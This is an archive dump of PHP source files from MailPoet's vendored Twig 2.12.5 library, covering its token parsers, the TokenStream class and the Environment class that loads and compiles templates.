0ustar00<?php
 namespace MailPoetVendor\Twig\TokenParser; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Node\FlushNode; use MailPoetVendor\Twig\Token; final class FlushTokenParser extends \MailPoetVendor\Twig\TokenParser\AbstractTokenParser { public function parse(\MailPoetVendor\Twig\Token $token) { $this->parser->getStream()->expect( 3 ); return new \MailPoetVendor\Twig\Node\FlushNode($token->getLine(), $this->getTag()); } public function getTag() { return 'flush'; } } \class_alias('MailPoetVendor\\Twig\\TokenParser\\FlushTokenParser', 'MailPoetVendor\\Twig_TokenParser_Flush'); twig/src/TokenParser/ImportTokenParser.php000066600000002005150351206230014701 0ustar00<?php
 namespace MailPoetVendor\Twig\TokenParser; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Node\Expression\AssignNameExpression; use MailPoetVendor\Twig\Node\ImportNode; use MailPoetVendor\Twig\Token; final class ImportTokenParser extends \MailPoetVendor\Twig\TokenParser\AbstractTokenParser { public function parse(\MailPoetVendor\Twig\Token $token) { $macro = $this->parser->getExpressionParser()->parseExpression(); $this->parser->getStream()->expect( 5, 'as' ); $var = new \MailPoetVendor\Twig\Node\Expression\AssignNameExpression($this->parser->getStream()->expect( 5 )->getValue(), $token->getLine()); $this->parser->getStream()->expect( 3 ); $this->parser->addImportedSymbol('template', $var->getAttribute('name')); return new \MailPoetVendor\Twig\Node\ImportNode($macro, $var, $token->getLine(), $this->getTag(), $this->parser->isMainScope()); } public function getTag() { return 'import'; } } \class_alias('MailPoetVendor\\Twig\\TokenParser\\ImportTokenParser', 'MailPoetVendor\\Twig_TokenParser_Import'); twig/src/TokenParser/SetTokenParser.php000066600000003046150351206230014170 0ustar00<?php
 namespace MailPoetVendor\Twig\TokenParser; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Error\SyntaxError; use MailPoetVendor\Twig\Node\SetNode; use MailPoetVendor\Twig\Token; final class SetTokenParser extends \MailPoetVendor\Twig\TokenParser\AbstractTokenParser { public function parse(\MailPoetVendor\Twig\Token $token) { $lineno = $token->getLine(); $stream = $this->parser->getStream(); $names = $this->parser->getExpressionParser()->parseAssignmentExpression(); $capture = \false; if ($stream->nextIf( 8, '=' )) { $values = $this->parser->getExpressionParser()->parseMultitargetExpression(); $stream->expect( 3 ); if (\count($names) !== \count($values)) { throw new \MailPoetVendor\Twig\Error\SyntaxError('When using set, you must have the same number of variables and assignments.', $stream->getCurrent()->getLine(), $stream->getSourceContext()); } } else { $capture = \true; if (\count($names) > 1) { throw new \MailPoetVendor\Twig\Error\SyntaxError('When using set with a block, you cannot have a multi-target.', $stream->getCurrent()->getLine(), $stream->getSourceContext()); } $stream->expect( 3 ); $values = $this->parser->subparse([$this, 'decideBlockEnd'], \true); $stream->expect( 3 ); } return new \MailPoetVendor\Twig\Node\SetNode($capture, $names, $values, $lineno, $this->getTag()); } public function decideBlockEnd(\MailPoetVendor\Twig\Token $token) { return $token->test('endset'); } public function getTag() { return 'set'; } } \class_alias('MailPoetVendor\\Twig\\TokenParser\\SetTokenParser', 'MailPoetVendor\\Twig_TokenParser_Set'); twig/src/TokenParser/ExtendsTokenParser.php000066600000002365150351206230015052 0ustar00<?php
 namespace MailPoetVendor\Twig\TokenParser; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Error\SyntaxError; use MailPoetVendor\Twig\Node\Node; use MailPoetVendor\Twig\Token; final class ExtendsTokenParser extends \MailPoetVendor\Twig\TokenParser\AbstractTokenParser { public function parse(\MailPoetVendor\Twig\Token $token) { $stream = $this->parser->getStream(); if ($this->parser->peekBlockStack()) { throw new \MailPoetVendor\Twig\Error\SyntaxError('Cannot use "extend" in a block.', $token->getLine(), $stream->getSourceContext()); } elseif (!$this->parser->isMainScope()) { throw new \MailPoetVendor\Twig\Error\SyntaxError('Cannot use "extend" in a macro.', $token->getLine(), $stream->getSourceContext()); } if (null !== $this->parser->getParent()) { throw new \MailPoetVendor\Twig\Error\SyntaxError('Multiple extends tags are forbidden.', $token->getLine(), $stream->getSourceContext()); } $this->parser->setParent($this->parser->getExpressionParser()->parseExpression()); $stream->expect(\MailPoetVendor\Twig\Token::BLOCK_END_TYPE); return new \MailPoetVendor\Twig\Node\Node(); } public function getTag() { return 'extends'; } } \class_alias('MailPoetVendor\\Twig\\TokenParser\\ExtendsTokenParser', 'MailPoetVendor\\Twig_TokenParser_Extends'); twig/src/TokenParser/UseTokenParser.php000066600000002704150351206230014171 0ustar00<?php
 namespace MailPoetVendor\Twig\TokenParser; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Error\SyntaxError; use MailPoetVendor\Twig\Node\Expression\ConstantExpression; use MailPoetVendor\Twig\Node\Node; use MailPoetVendor\Twig\Token; final class UseTokenParser extends \MailPoetVendor\Twig\TokenParser\AbstractTokenParser { public function parse(\MailPoetVendor\Twig\Token $token) { $template = $this->parser->getExpressionParser()->parseExpression(); $stream = $this->parser->getStream(); if (!$template instanceof \MailPoetVendor\Twig\Node\Expression\ConstantExpression) { throw new \MailPoetVendor\Twig\Error\SyntaxError('The template references in a "use" statement must be a string.', $stream->getCurrent()->getLine(), $stream->getSourceContext()); } $targets = []; if ($stream->nextIf('with')) { do { $name = $stream->expect( 5 )->getValue(); $alias = $name; if ($stream->nextIf('as')) { $alias = $stream->expect( 5 )->getValue(); } $targets[$name] = new \MailPoetVendor\Twig\Node\Expression\ConstantExpression($alias, -1); if (!$stream->nextIf( 9, ',' )) { break; } } while (\true); } $stream->expect( 3 ); $this->parser->addTrait(new \MailPoetVendor\Twig\Node\Node(['template' => $template, 'targets' => new \MailPoetVendor\Twig\Node\Node($targets)])); return new \MailPoetVendor\Twig\Node\Node(); } public function getTag() { return 'use'; } } \class_alias('MailPoetVendor\\Twig\\TokenParser\\UseTokenParser', 'MailPoetVendor\\Twig_TokenParser_Use'); twig/src/TokenParser/IfTokenParser.php000066600000003453150351206230013775 0ustar00<?php
 namespace MailPoetVendor\Twig\TokenParser; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Error\SyntaxError; use MailPoetVendor\Twig\Node\IfNode; use MailPoetVendor\Twig\Node\Node; use MailPoetVendor\Twig\Token; final class IfTokenParser extends \MailPoetVendor\Twig\TokenParser\AbstractTokenParser { public function parse(\MailPoetVendor\Twig\Token $token) { $lineno = $token->getLine(); $expr = $this->parser->getExpressionParser()->parseExpression(); $stream = $this->parser->getStream(); $stream->expect( 3 ); $body = $this->parser->subparse([$this, 'decideIfFork']); $tests = [$expr, $body]; $else = null; $end = \false; while (!$end) { switch ($stream->next()->getValue()) { case 'else': $stream->expect( 3 ); $else = $this->parser->subparse([$this, 'decideIfEnd']); break; case 'elseif': $expr = $this->parser->getExpressionParser()->parseExpression(); $stream->expect( 3 ); $body = $this->parser->subparse([$this, 'decideIfFork']); $tests[] = $expr; $tests[] = $body; break; case 'endif': $end = \true; break; default: throw new \MailPoetVendor\Twig\Error\SyntaxError(\sprintf('Unexpected end of template. Twig was looking for the following tags "else", "elseif", or "endif" to close the "if" block started at line %d).', $lineno), $stream->getCurrent()->getLine(), $stream->getSourceContext()); } } $stream->expect( 3 ); return new \MailPoetVendor\Twig\Node\IfNode(new \MailPoetVendor\Twig\Node\Node($tests), $else, $lineno, $this->getTag()); } public function decideIfFork(\MailPoetVendor\Twig\Token $token) { return $token->test(['elseif', 'else', 'endif']); } public function decideIfEnd(\MailPoetVendor\Twig\Token $token) { return $token->test(['endif']); } public function getTag() { return 'if'; } } \class_alias('MailPoetVendor\\Twig\\TokenParser\\IfTokenParser', 'MailPoetVendor\\Twig_TokenParser_If'); twig/src/TokenParser/EmbedTokenParser.php000066600000003637150351206230014457 0ustar00<?php
 namespace MailPoetVendor\Twig\TokenParser; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Node\EmbedNode; use MailPoetVendor\Twig\Node\Expression\ConstantExpression; use MailPoetVendor\Twig\Node\Expression\NameExpression; use MailPoetVendor\Twig\Token; final class EmbedTokenParser extends \MailPoetVendor\Twig\TokenParser\IncludeTokenParser { public function parse(\MailPoetVendor\Twig\Token $token) { $stream = $this->parser->getStream(); $parent = $this->parser->getExpressionParser()->parseExpression(); list($variables, $only, $ignoreMissing) = $this->parseArguments(); $parentToken = $fakeParentToken = new \MailPoetVendor\Twig\Token( 7, '__parent__', $token->getLine() ); if ($parent instanceof \MailPoetVendor\Twig\Node\Expression\ConstantExpression) { $parentToken = new \MailPoetVendor\Twig\Token( 7, $parent->getAttribute('value'), $token->getLine() ); } elseif ($parent instanceof \MailPoetVendor\Twig\Node\Expression\NameExpression) { $parentToken = new \MailPoetVendor\Twig\Token( 5, $parent->getAttribute('name'), $token->getLine() ); } $stream->injectTokens([new \MailPoetVendor\Twig\Token( 1, '', $token->getLine() ), new \MailPoetVendor\Twig\Token( 5, 'extends', $token->getLine() ), $parentToken, new \MailPoetVendor\Twig\Token( 3, '', $token->getLine() )]); $module = $this->parser->parse($stream, [$this, 'decideBlockEnd'], \true); if ($fakeParentToken === $parentToken) { $module->setNode('parent', $parent); } $this->parser->embedTemplate($module); $stream->expect( 3 ); return new \MailPoetVendor\Twig\Node\EmbedNode($module->getTemplateName(), $module->getAttribute('index'), $variables, $only, $ignoreMissing, $token->getLine(), $this->getTag()); } public function decideBlockEnd(\MailPoetVendor\Twig\Token $token) { return $token->test('endembed'); } public function getTag() { return 'embed'; } } \class_alias('MailPoetVendor\\Twig\\TokenParser\\EmbedTokenParser', 'MailPoetVendor\\Twig_TokenParser_Embed'); twig/src/TokenParser/WithTokenParser.php000066600000001743150351206230014352 0ustar00<?php
 namespace MailPoetVendor\Twig\TokenParser; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Node\WithNode; use MailPoetVendor\Twig\Token; final class WithTokenParser extends \MailPoetVendor\Twig\TokenParser\AbstractTokenParser { public function parse(\MailPoetVendor\Twig\Token $token) { $stream = $this->parser->getStream(); $variables = null; $only = \false; if (!$stream->test( 3 )) { $variables = $this->parser->getExpressionParser()->parseExpression(); $only = (bool) $stream->nextIf( 5, 'only' ); } $stream->expect( 3 ); $body = $this->parser->subparse([$this, 'decideWithEnd'], \true); $stream->expect( 3 ); return new \MailPoetVendor\Twig\Node\WithNode($body, $variables, $only, $token->getLine(), $this->getTag()); } public function decideWithEnd(\MailPoetVendor\Twig\Token $token) { return $token->test('endwith'); } public function getTag() { return 'with'; } } \class_alias('MailPoetVendor\\Twig\\TokenParser\\WithTokenParser', 'MailPoetVendor\\Twig_TokenParser_With'); twig/src/TokenParser/ApplyTokenParser.php000066600000002441150351206230014520 0ustar00<?php
 namespace MailPoetVendor\Twig\TokenParser; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Node\Expression\TempNameExpression; use MailPoetVendor\Twig\Node\Node; use MailPoetVendor\Twig\Node\PrintNode; use MailPoetVendor\Twig\Node\SetNode; use MailPoetVendor\Twig\Token; final class ApplyTokenParser extends \MailPoetVendor\Twig\TokenParser\AbstractTokenParser { public function parse(\MailPoetVendor\Twig\Token $token) { $lineno = $token->getLine(); $name = $this->parser->getVarName(); $ref = new \MailPoetVendor\Twig\Node\Expression\TempNameExpression($name, $lineno); $ref->setAttribute('always_defined', \true); $filter = $this->parser->getExpressionParser()->parseFilterExpressionRaw($ref, $this->getTag()); $this->parser->getStream()->expect(\MailPoetVendor\Twig\Token::BLOCK_END_TYPE); $body = $this->parser->subparse([$this, 'decideApplyEnd'], \true); $this->parser->getStream()->expect(\MailPoetVendor\Twig\Token::BLOCK_END_TYPE); return new \MailPoetVendor\Twig\Node\Node([new \MailPoetVendor\Twig\Node\SetNode(\true, $ref, $body, $lineno, $this->getTag()), new \MailPoetVendor\Twig\Node\PrintNode($filter, $lineno, $this->getTag())]); } public function decideApplyEnd(\MailPoetVendor\Twig\Token $token) { return $token->test('endapply'); } public function getTag() { return 'apply'; } } twig/src/TokenParser/index.php000066600000000000150351206230012351 0ustar00twig/src/TokenParser/DoTokenParser.php000066600000001202150351206230013767 0ustar00<?php
 namespace MailPoetVendor\Twig\TokenParser; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Node\DoNode; use MailPoetVendor\Twig\Token; final class DoTokenParser extends \MailPoetVendor\Twig\TokenParser\AbstractTokenParser { public function parse(\MailPoetVendor\Twig\Token $token) { $expr = $this->parser->getExpressionParser()->parseExpression(); $this->parser->getStream()->expect( 3 ); return new \MailPoetVendor\Twig\Node\DoNode($expr, $token->getLine(), $this->getTag()); } public function getTag() { return 'do'; } } \class_alias('MailPoetVendor\\Twig\\TokenParser\\DoTokenParser', 'MailPoetVendor\\Twig_TokenParser_Do'); twig/src/TokenParser/FilterTokenParser.php000066600000003126150351206230014661 0ustar00<?php
 namespace MailPoetVendor\Twig\TokenParser; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Node\BlockNode; use MailPoetVendor\Twig\Node\Expression\BlockReferenceExpression; use MailPoetVendor\Twig\Node\Expression\ConstantExpression; use MailPoetVendor\Twig\Node\PrintNode; use MailPoetVendor\Twig\Token; final class FilterTokenParser extends \MailPoetVendor\Twig\TokenParser\AbstractTokenParser { public function parse(\MailPoetVendor\Twig\Token $token) { $stream = $this->parser->getStream(); $lineno = $token->getLine(); @\trigger_error(\sprintf('The "filter" tag in "%s" at line %d is deprecated since Twig 2.9, use the "apply" tag instead.', $stream->getSourceContext()->getName(), $lineno), \E_USER_DEPRECATED); $name = $this->parser->getVarName(); $ref = new \MailPoetVendor\Twig\Node\Expression\BlockReferenceExpression(new \MailPoetVendor\Twig\Node\Expression\ConstantExpression($name, $lineno), null, $lineno, $this->getTag()); $filter = $this->parser->getExpressionParser()->parseFilterExpressionRaw($ref, $this->getTag()); $stream->expect( 3 ); $body = $this->parser->subparse([$this, 'decideBlockEnd'], \true); $stream->expect( 3 ); $block = new \MailPoetVendor\Twig\Node\BlockNode($name, $body, $lineno); $this->parser->setBlock($name, $block); return new \MailPoetVendor\Twig\Node\PrintNode($filter, $lineno, $this->getTag()); } public function decideBlockEnd(\MailPoetVendor\Twig\Token $token) { return $token->test('endfilter'); } public function getTag() { return 'filter'; } } \class_alias('MailPoetVendor\\Twig\\TokenParser\\FilterTokenParser', 'MailPoetVendor\\Twig_TokenParser_Filter'); twig/src/TokenParser/MacroTokenParser.php000066600000003012150351206230014467 0ustar00<?php
 namespace MailPoetVendor\Twig\TokenParser; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Error\SyntaxError; use MailPoetVendor\Twig\Node\BodyNode; use MailPoetVendor\Twig\Node\MacroNode; use MailPoetVendor\Twig\Node\Node; use MailPoetVendor\Twig\Token; final class MacroTokenParser extends \MailPoetVendor\Twig\TokenParser\AbstractTokenParser { public function parse(\MailPoetVendor\Twig\Token $token) { $lineno = $token->getLine(); $stream = $this->parser->getStream(); $name = $stream->expect( 5 )->getValue(); $arguments = $this->parser->getExpressionParser()->parseArguments(\true, \true); $stream->expect( 3 ); $this->parser->pushLocalScope(); $body = $this->parser->subparse([$this, 'decideBlockEnd'], \true); if ($token = $stream->nextIf( 5 )) { $value = $token->getValue(); if ($value != $name) { throw new \MailPoetVendor\Twig\Error\SyntaxError(\sprintf('Expected endmacro for macro "%s" (but "%s" given).', $name, $value), $stream->getCurrent()->getLine(), $stream->getSourceContext()); } } $this->parser->popLocalScope(); $stream->expect( 3 ); $this->parser->setMacro($name, new \MailPoetVendor\Twig\Node\MacroNode($name, new \MailPoetVendor\Twig\Node\BodyNode([$body]), $arguments, $lineno, $this->getTag())); return new \MailPoetVendor\Twig\Node\Node(); } public function decideBlockEnd(\MailPoetVendor\Twig\Token $token) { return $token->test('endmacro'); } public function getTag() { return 'macro'; } } \class_alias('MailPoetVendor\\Twig\\TokenParser\\MacroTokenParser', 'MailPoetVendor\\Twig_TokenParser_Macro'); twig/src/TokenStream.php000066600000004737150351206230011266 0ustar00<?php
 namespace MailPoetVendor\Twig; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Error\SyntaxError; final class TokenStream { private $tokens; private $current = 0; private $source; public function __construct(array $tokens, \MailPoetVendor\Twig\Source $source = null) { $this->tokens = $tokens; $this->source = $source ?: new \MailPoetVendor\Twig\Source('', ''); } public function __toString() { return \implode("\n", $this->tokens); } public function injectTokens(array $tokens) { $this->tokens = \array_merge(\array_slice($this->tokens, 0, $this->current), $tokens, \array_slice($this->tokens, $this->current)); } public function next() : \MailPoetVendor\Twig\Token { if (!isset($this->tokens[++$this->current])) { throw new \MailPoetVendor\Twig\Error\SyntaxError('Unexpected end of template.', $this->tokens[$this->current - 1]->getLine(), $this->source); } return $this->tokens[$this->current - 1]; } public function nextIf($primary, $secondary = null) { if ($this->tokens[$this->current]->test($primary, $secondary)) { return $this->next(); } } public function expect($type, $value = null, string $message = null) : \MailPoetVendor\Twig\Token { $token = $this->tokens[$this->current]; if (!$token->test($type, $value)) { $line = $token->getLine(); throw new \MailPoetVendor\Twig\Error\SyntaxError(\sprintf('%sUnexpected token "%s"%s ("%s" expected%s).', $message ? $message . '. ' : '', \MailPoetVendor\Twig\Token::typeToEnglish($token->getType()), $token->getValue() ? \sprintf(' of value "%s"', $token->getValue()) : '', \MailPoetVendor\Twig\Token::typeToEnglish($type), $value ? \sprintf(' with value "%s"', $value) : ''), $line, $this->source); } $this->next(); return $token; } public function look(int $number = 1) : \MailPoetVendor\Twig\Token { if (!isset($this->tokens[$this->current + $number])) { throw new \MailPoetVendor\Twig\Error\SyntaxError('Unexpected end of template.', $this->tokens[$this->current + $number - 1]->getLine(), $this->source); } return $this->tokens[$this->current + $number]; } public function test($primary, $secondary = null) : bool { return $this->tokens[$this->current]->test($primary, $secondary); } public function isEOF() : bool { return -1 === $this->tokens[$this->current]->getType(); } public function getCurrent() : \MailPoetVendor\Twig\Token { return $this->tokens[$this->current]; } public function getSourceContext() : \MailPoetVendor\Twig\Source { return $this->source; } } \class_alias('MailPoetVendor\\Twig\\TokenStream', 'MailPoetVendor\\Twig_TokenStream'); twig/src/Environment.php000066600000033006150351206230011325 0ustar00<?php
 namespace MailPoetVendor\Twig; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Cache\CacheInterface; use MailPoetVendor\Twig\Cache\FilesystemCache; use MailPoetVendor\Twig\Cache\NullCache; use MailPoetVendor\Twig\Error\Error; use MailPoetVendor\Twig\Error\LoaderError; use MailPoetVendor\Twig\Error\RuntimeError; use MailPoetVendor\Twig\Error\SyntaxError; use MailPoetVendor\Twig\Extension\CoreExtension; use MailPoetVendor\Twig\Extension\EscaperExtension; use MailPoetVendor\Twig\Extension\ExtensionInterface; use MailPoetVendor\Twig\Extension\OptimizerExtension; use MailPoetVendor\Twig\Loader\ArrayLoader; use MailPoetVendor\Twig\Loader\ChainLoader; use MailPoetVendor\Twig\Loader\LoaderInterface; use MailPoetVendor\Twig\Node\ModuleNode; use MailPoetVendor\Twig\Node\Node; use MailPoetVendor\Twig\NodeVisitor\NodeVisitorInterface; use MailPoetVendor\Twig\RuntimeLoader\RuntimeLoaderInterface; use MailPoetVendor\Twig\TokenParser\TokenParserInterface; class Environment { const VERSION = '2.12.5'; const VERSION_ID = 21205; const MAJOR_VERSION = 2; const MINOR_VERSION = 12; const RELEASE_VERSION = 5; const EXTRA_VERSION = ''; private $charset; private $loader; private $debug; private $autoReload; private $cache; private $lexer; private $parser; private $compiler; private $baseTemplateClass; private $globals = []; private $resolvedGlobals; private $loadedTemplates; private $strictVariables; private $templateClassPrefix = '__TwigTemplate_'; private $originalCache; private $extensionSet; private $runtimeLoaders = []; private $runtimes = []; private $optionsHash; public function __construct(\MailPoetVendor\Twig\Loader\LoaderInterface $loader, $options = []) { $this->setLoader($loader); $options = \array_merge(['debug' => \false, 'charset' => 'UTF-8', 'base_template_class' => \MailPoetVendor\Twig\Template::class, 'strict_variables' => \false, 'autoescape' => 'html', 'cache' => \false, 'auto_reload' => null, 'optimizations' => -1], $options); $this->debug = (bool) $options['debug']; $this->setCharset($options['charset']); $this->baseTemplateClass = '\\' . \ltrim($options['base_template_class'], '\\'); if ('\\' . \MailPoetVendor\Twig\Template::class !== $this->baseTemplateClass && '\\Twig_Template' !== $this->baseTemplateClass) { @\trigger_error('The "base_template_class" option on ' . __CLASS__ . ' is deprecated since Twig 2.7.0.', \E_USER_DEPRECATED); } $this->autoReload = null === $options['auto_reload'] ? $this->debug : (bool) $options['auto_reload']; $this->strictVariables = (bool) $options['strict_variables']; $this->setCache($options['cache']); $this->extensionSet = new \MailPoetVendor\Twig\ExtensionSet(); $this->addExtension(new \MailPoetVendor\Twig\Extension\CoreExtension()); $this->addExtension(new \MailPoetVendor\Twig\Extension\EscaperExtension($options['autoescape'])); $this->addExtension(new \MailPoetVendor\Twig\Extension\OptimizerExtension($options['optimizations'])); } public function getBaseTemplateClass() { if (1 > \func_num_args() || \func_get_arg(0)) { @\trigger_error('The ' . __METHOD__ . ' is deprecated since Twig 2.7.0.', \E_USER_DEPRECATED); } return $this->baseTemplateClass; } public function setBaseTemplateClass($class) { @\trigger_error('The ' . __METHOD__ . ' is deprecated since Twig 2.7.0.', \E_USER_DEPRECATED); $this->baseTemplateClass = $class; $this->updateOptionsHash(); } public function enableDebug() { $this->debug = \true; $this->updateOptionsHash(); } public function disableDebug() { $this->debug = \false; $this->updateOptionsHash(); } public function isDebug() { return $this->debug; } public function enableAutoReload() { $this->autoReload = \true; } public function disableAutoReload() { $this->autoReload = \false; } public function isAutoReload() { return $this->autoReload; } public function enableStrictVariables() { $this->strictVariables = \true; $this->updateOptionsHash(); } public function disableStrictVariables() { $this->strictVariables = \false; $this->updateOptionsHash(); } public function isStrictVariables() { return $this->strictVariables; } public function getCache($original = \true) { return $original ? $this->originalCache : $this->cache; } public function setCache($cache) { if (\is_string($cache)) { $this->originalCache = $cache; $this->cache = new \MailPoetVendor\Twig\Cache\FilesystemCache($cache); } elseif (\false === $cache) { $this->originalCache = $cache; $this->cache = new \MailPoetVendor\Twig\Cache\NullCache(); } elseif ($cache instanceof \MailPoetVendor\Twig\Cache\CacheInterface) { $this->originalCache = $this->cache = $cache; } else { throw new \LogicException(\sprintf('Cache can only be a string, false, or a \\Twig\\Cache\\CacheInterface implementation.')); } } public function getTemplateClass($name, $index = null) { $key = $this->getLoader()->getCacheKey($name) . $this->optionsHash; return $this->templateClassPrefix . \hash('sha256', $key) . (null === $index ? '' : '___' . $index); } public function render($name, array $context = []) { return $this->load($name)->render($context); } public function display($name, array $context = []) { $this->load($name)->display($context); } public function load($name) { if ($name instanceof \MailPoetVendor\Twig\TemplateWrapper) { return $name; } if ($name instanceof \MailPoetVendor\Twig\Template) { @\trigger_error('Passing a \\Twig\\Template instance to ' . __METHOD__ . ' is deprecated since Twig 2.7.0, use \\Twig\\TemplateWrapper instead.', \E_USER_DEPRECATED); return new \MailPoetVendor\Twig\TemplateWrapper($this, $name); } return new \MailPoetVendor\Twig\TemplateWrapper($this, $this->loadTemplate($name)); } public function loadTemplate($name, $index = null) { return $this->loadClass($this->getTemplateClass($name), $name, $index); } public function loadClass($cls, $name, $index = null) { $mainCls = $cls; if (null !== $index) { $cls .= '___' . $index; } if (isset($this->loadedTemplates[$cls])) { return $this->loadedTemplates[$cls]; } if (!\class_exists($cls, \false)) { $key = $this->cache->generateKey($name, $mainCls); if (!$this->isAutoReload() || $this->isTemplateFresh($name, $this->cache->getTimestamp($key))) { $this->cache->load($key); } $source = null; if (!\class_exists($cls, \false)) { $source = $this->getLoader()->getSourceContext($name); $content = $this->compileSource($source); $this->cache->write($key, $content); $this->cache->load($key); if (!\class_exists($mainCls, \false)) { eval('?>' . $content); } if (!\class_exists($cls, \false)) { throw new \MailPoetVendor\Twig\Error\RuntimeError(\sprintf('Failed to load Twig template "%s", index "%s": cache might be corrupted.', $name, $index), -1, $source); } } } $this->extensionSet->initRuntime($this); return $this->loadedTemplates[$cls] = new $cls($this); } public function createTemplate($template, string $name = null) { $hash = \hash('sha256', $template, \false); if (null !== $name) { $name = \sprintf('%s (string template %s)', $name, $hash); } else { $name = \sprintf('__string_template__%s', $hash); } $loader = new \MailPoetVendor\Twig\Loader\ChainLoader([new \MailPoetVendor\Twig\Loader\ArrayLoader([$name => $template]), $current = $this->getLoader()]); $this->setLoader($loader); try { return new \MailPoetVendor\Twig\TemplateWrapper($this, $this->loadTemplate($name)); } finally { $this->setLoader($current); } } public function isTemplateFresh($name, $time) { return $this->extensionSet->getLastModified() <= $time && $this->getLoader()->isFresh($name, $time); } public function resolveTemplate($names) { if (!\is_array($names)) { $names = [$names]; } foreach ($names as $name) { if ($name instanceof \MailPoetVendor\Twig\Template) { return $name; } if ($name instanceof \MailPoetVendor\Twig\TemplateWrapper) { return $name; } try { return $this->loadTemplate($name); } catch (\MailPoetVendor\Twig\Error\LoaderError $e) { if (1 === \count($names)) { throw $e; } } } throw new \MailPoetVendor\Twig\Error\LoaderError(\sprintf('Unable to find one of the following templates: "%s".', \implode('", "', $names))); } public function setLexer(\MailPoetVendor\Twig\Lexer $lexer) { $this->lexer = $lexer; } public function tokenize(\MailPoetVendor\Twig\Source $source) { if (null === $this->lexer) { $this->lexer = new \MailPoetVendor\Twig\Lexer($this); } return $this->lexer->tokenize($source); } public function setParser(\MailPoetVendor\Twig\Parser $parser) { $this->parser = $parser; } public function parse(\MailPoetVendor\Twig\TokenStream $stream) { if (null === $this->parser) { $this->parser = new \MailPoetVendor\Twig\Parser($this); } return $this->parser->parse($stream); } public function setCompiler(\MailPoetVendor\Twig\Compiler $compiler) { $this->compiler = $compiler; } public function compile(\MailPoetVendor\Twig\Node\Node $node) { if (null === $this->compiler) { $this->compiler = new \MailPoetVendor\Twig\Compiler($this); } return $this->compiler->compile($node)->getSource(); } public function compileSource(\MailPoetVendor\Twig\Source $source) { try { return $this->compile($this->parse($this->tokenize($source))); } catch (\MailPoetVendor\Twig\Error\Error $e) { $e->setSourceContext($source); throw $e; } catch (\Exception $e) { throw new \MailPoetVendor\Twig\Error\SyntaxError(\sprintf('An exception has been thrown during the compilation of a template ("%s").', $e->getMessage()), -1, $source, $e); } } public function setLoader(\MailPoetVendor\Twig\Loader\LoaderInterface $loader) { $this->loader = $loader; } public function getLoader() { return $this->loader; } public function setCharset($charset) { if ('UTF8' === ($charset = \strtoupper($charset))) { $charset = 'UTF-8'; } $this->charset = $charset; } public function getCharset() { return $this->charset; } public function hasExtension($class) { return $this->extensionSet->hasExtension($class); } public function addRuntimeLoader(\MailPoetVendor\Twig\RuntimeLoader\RuntimeLoaderInterface $loader) { $this->runtimeLoaders[] = $loader; } public function getExtension($class) { return $this->extensionSet->getExtension($class); } public function getRuntime($class) { if (isset($this->runtimes[$class])) { return $this->runtimes[$class]; } foreach ($this->runtimeLoaders as $loader) { if (null !== ($runtime = $loader->load($class))) { return $this->runtimes[$class] = $runtime; } } throw new \MailPoetVendor\Twig\Error\RuntimeError(\sprintf('Unable to load the "%s" runtime.', $class)); } public function addExtension(\MailPoetVendor\Twig\Extension\ExtensionInterface $extension) { $this->extensionSet->addExtension($extension); $this->updateOptionsHash(); } public function setExtensions(array $extensions) { $this->extensionSet->setExtensions($extensions); $this->updateOptionsHash(); } public function getExtensions() { return $this->extensionSet->getExtensions(); } public function addTokenParser(\MailPoetVendor\Twig\TokenParser\TokenParserInterface $parser) { $this->extensionSet->addTokenParser($parser); } public function getTokenParsers() { return $this->extensionSet->getTokenParsers(); } public function getTags() { $tags = []; foreach ($this->getTokenParsers() as $parser) { $tags[$parser->getTag()] = $parser; } return $tags; } public function addNodeVisitor(\MailPoetVendor\Twig\NodeVisitor\NodeVisitorInterface $visitor) { $this->extensionSet->addNodeVisitor($visitor); } public function getNodeVisitors() { return $this->extensionSet->getNodeVisitors(); } public function addFilter(\MailPoetVendor\Twig\TwigFilter $filter) { $this->extensionSet->addFilter($filter); } public function getFilter($name) { return $this->extensionSet->getFilter($name); } public function registerUndefinedFilterCallback(callable $callable) { $this->extensionSet->registerUndefinedFilterCallback($callable); } public function getFilters() { return $this->extensionSet->getFilters(); } public function addTest(\MailPoetVendor\Twig\TwigTest $test) { $this->extensionSet->addTest($test); } public function getTests() { return $this->extensionSet->getTests(); } public function getTest($name) { return $this->extensionSet->getTest($name); } public function addFunction(\MailPoetVendor\Twig\TwigFunction $function) { $this->extensionSet->addFunction($function); } public function getFunction($name) { return $this->extensionSet->getFunction($name); } public function registerUndefinedFunctionCallback(callable $callable) { $this->extensionSet->registerUndefinedFunctionCallback($callable); } public function getFunctions() { return $this->extensionSet->getFunctions(); } public function addGlobal($name, $value) { if ($this->extensionSet->isInitialized() && !\array_key_exists($name, $this->getGlobals())) { throw new \LogicException(\sprintf('Unable to add global "%s" as the runtime or the extensions have already been initialized.', $name)); } if (null !== $this->resolvedGlobals) { $this->resolvedGlobals[$name] = $value; } else { $this->globals[$name] = $value; } } public function getGlobals() { if ($this->extensionSet->isInitialized()) { if (null === $this->resolvedGlobals) { $this->resolvedGlobals = \array_merge($this->extensionSet->getGlobals(), $this->globals); } return $this->resolvedGlobals; } return \array_merge($this->extensionSet->getGlobals(), $this->globals); } public function mergeGlobals(array $context) { foreach ($this->getGlobals() as $key => $value) { if (!\array_key_exists($key, $context)) { $context[$key] = $value; } } return $context; } public function getUnaryOperators() { return $this->extensionSet->getUnaryOperators(); } public function getBinaryOperators() { return $this->extensionSet->getBinaryOperators(); } private function updateOptionsHash() { $this->optionsHash = \implode(':', [$this->extensionSet->getSignature(), \PHP_MAJOR_VERSION, \PHP_MINOR_VERSION, self::VERSION, (int) $this->debug, $this->baseTemplateClass, (int) $this->strictVariables]); } } \class_alias('MailPoetVendor\\Twig\\Environment', 'MailPoetVendor\\Twig_Environment'); twig/src/Sandbox/SecurityError.php000066600000000437150351206230013242 0ustar00<?php
